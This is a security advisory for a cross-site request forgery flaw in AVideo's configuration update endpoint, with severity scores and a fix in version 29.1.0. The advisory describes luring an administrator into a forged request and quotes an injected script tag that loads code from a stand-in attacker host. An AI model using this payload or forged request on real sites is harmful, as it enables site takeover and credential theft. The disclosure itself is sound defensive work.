Cross-site request forgery in AVideo - CVE-2026-40925
Published: November 11, 2026
Vulnerability identifier: #VU165900
CSH Severity: High
CVSS v4: 8.3 [CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N]
CVE-ID: CVE-2026-40925
CWE-ID: CWE-352
Exploitation vector: Remote access
Exploit availability:
No public exploit available
Vulnerability details
The vulnerability allows a remote attacker to take over site configuration, steal credentials and reset tokens, hijack encoder operations, and write files under the web root.
The vulnerability exists due to missing cross-site request forgery protection in AVideo's objects/configurationUpdate.json.php endpoint, also exposed as /updateConfig, when processing configuration changes. A remote attacker can lure a logged-in administrator to a page submitting a cross-origin POST to rewrite settings, redirect SMTP and encoder traffic, and inject <script src="https://attacker/evil.js"></script> for persistent site-wide script execution.
Affected software
AVideo
How to mitigate CVE-2026-40925
Install security update from vendor's website.
AVideo - update to 29.1.0